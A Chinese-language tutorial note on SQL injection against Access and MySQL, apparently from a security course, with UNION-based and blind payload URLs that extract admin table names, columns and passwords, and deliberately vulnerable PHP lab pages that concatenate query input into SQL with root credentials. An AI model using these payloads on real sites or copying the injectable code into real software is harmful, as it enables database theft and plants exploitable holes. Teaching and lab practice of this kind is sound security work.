第三天:Sql注入技巧篇
1.Sql注入之access注入
access数据库结构
数据库表名
数据库列名
数据
1.access注入攻击片段-联合查询法
判断注入→猜解表名→猜解列名→猜解数据
比如:Order by 22 (22 代表查询的列名的数目有22个)
http://www.test.com/Production/PRODUCT_DETAIL.asp?id=1513 order by 22 页面显示正常
http://www.test.com/Production/PRODUCT_DETAIL.asp?id=1513 order by 23 页面错误
猜解表名 确定存在admin表名
http://www.test.com/Production/PRODUCT_DETAIL.asp?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
如果查询不报错,就证明有这个表存在。
猜测列名 猜解数据
http://www.test.com/Production/PRODUCT_DETAIL.asp?id=1513 UNION SELECT1,2,3,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin
如果能查到数据,就证明第15列的字段名称就是password,并且查出来的数据就是对应的值。
表名和列名猜解成功率不是百分百,猜解不到解决办法?
1.字典文件收集(社工)
2.Access偏移注入
2.access注入攻击片段-逐字猜解法(大多数工具采用)
1️⃣查表:and exists (select * from 表名)
2️⃣查列:and exists (select 列名 from 表名)
3️⃣查数据:1.确定长度 2.确定asc数据(asc编码)
and (select top 1 len(列名) from admin)=5
and (select top 1 asc(mid(列名,位数,1)) from admin)=97
(猜每一位的ASCII码,97就是ASCII值,手工猜很慢,需要程序协助)
2.Sql注入之mysql注入(上)
Mysql数据库结构
数据库A
表名
列名
数据
数据库B
……..
Mysql5.0以上自带数据库:information_schema
information_schema:存储mysql下所有信息的数据库(数据库名,表名,列名)
只要知道下面4个参数及解释就好
1️⃣database():数据库名
2️⃣user():数据库用户
3️⃣version():数据库版本(大于5.0就好办了)
4️⃣@@version_compile_os:操作系统(Windows不区分大小写;Linux区分大小写)
符号“.”代表下一级的意思
1️⃣information_schema.schemata:
mysql下所有的数据库名,包括information_schema
2️⃣information_schema.tables:
information_schema数据库下的tables表名,含义:存储所有数据库下的表名信息的表。
3️⃣information_schema.columns:
information_schema数据库下的columns列名,含义:存储所有数据库下的列名信息的表。
Table_schema:数据库名
Table_name:表名
Column_name:列名
(在开始测试之前要先下载phpMyAdmin的压缩包,并将其解压至phpstudy的安装目录的WWW目录下,然后访问http://localhost:82/phpMyAdmin/看看能不能正常访问,root/root能否登录成功,不成功需要配置)
index.php内容如下:
<?php
header("Content-Type: text/html; charset=utf-8");
$id = $_GET['x'];
$conn = mysql_connect("127.0.0.1","root","root");
mysql_select_db("sqlin",$conn);
$sql = "select * from news where id=$id";
$result = mysql_query($sql);
\while($row = mysql_fetch_array($result)){
echo "用户ID:".$row['id']."<br >";
echo "文章标题:".$row['title']."<br >";
echo "文章内容:".$row['text']."<br >";
}
echo "SQL statement currently executed:".$sql;
?>
获取数据库名sqlin下的所有表名信息:
http://127.0.0.1/sqlin/mysql/index.php?x=1%20union%20select%20table_name,2,3%20%20from%20information_schema.tables%20where%20table_schema=0x73716C696E
(注意这里的数据库名是十六进制的,需要用小工具转换一下)
获取admin表名下的列名信息:
http://127.0.0.1/sqlin/mysql/index.php?x=1%20union%20select%20column_name,2,3%20from%20information_schema.columns%20where%20table_name=0x61646D696E
获取指定数据:
http://127.0.0.1/sqlin/mysql/index.php?x=1%20union%20select%20id,name,password%20from%20admin
3.MySQL注入及access注入区别
Mysql access注入区别
- 结构不一样
- 注入式猜解方式不同
a) Access属于暴力猜解
b) Mysql属于有根据的猜解
作业:
获取所有数据库名的注入语句这么写?
1️⃣先获取information_schema下的表名信息
http://127.0.0.1/sqlin/mysql/index2.php?x=0x73716C696E%20union%20select%20table_name,2,3,4,5%20%20from%20information_schema.tables%20where%20table_schema=0x696E666F726D6174696F6E5F736368656D61
2️⃣获取schemata下的列名信息
http://127.0.0.1/sqlin/mysql/index2.php?x=0x73716C696E%20union%20select%20column_name,2,3,4,5%20from%20information_schema.columns%20where%20table_name=0x736368656D617461
列名.png
3️⃣获取SCHEMA_NAME这一列的值(就是数据库表)
http://127.0.0.1/sqlin/mysql/index2.php?x=0x73716C696E%20union%20select%20CATALOG_NAME,SCHEMA_NAME,DEFAULT_CHARACTER_SET_NAME,DEFAULT_COLLATION_NAME,SQL_PATH%20from%20schemata
数据库名.png
4️⃣附上index2.php内容:
<?php
header("Content-Type: text/html; charset=utf-8");
$id = $_GET['x'];
$conn = mysql_connect("127.0.0.1","root","root");
mysql_select_db("information_schema",$conn);
$sql = "select * from schemata where SCHEMA_NAME=$id";
$result = mysql_query($sql);
while($row = mysql_fetch_array($result)){
echo "用户ID:".$row['CATALOG_NAME']."<br >";
echo "文章标题:".$row['SCHEMA_NAME']."<br >";
echo "文章内容:".$row['DEFAULT_CHARACTER_SET_NAME']."<br >";
echo "默认名字:".$row['DEFAULT_COLLATION_NAME']."<br >";
echo "SQL路径:".$row['SQL_PATH']."<br >";
}
echo "SQL statement currently executed:".$sql;
?>
网友评论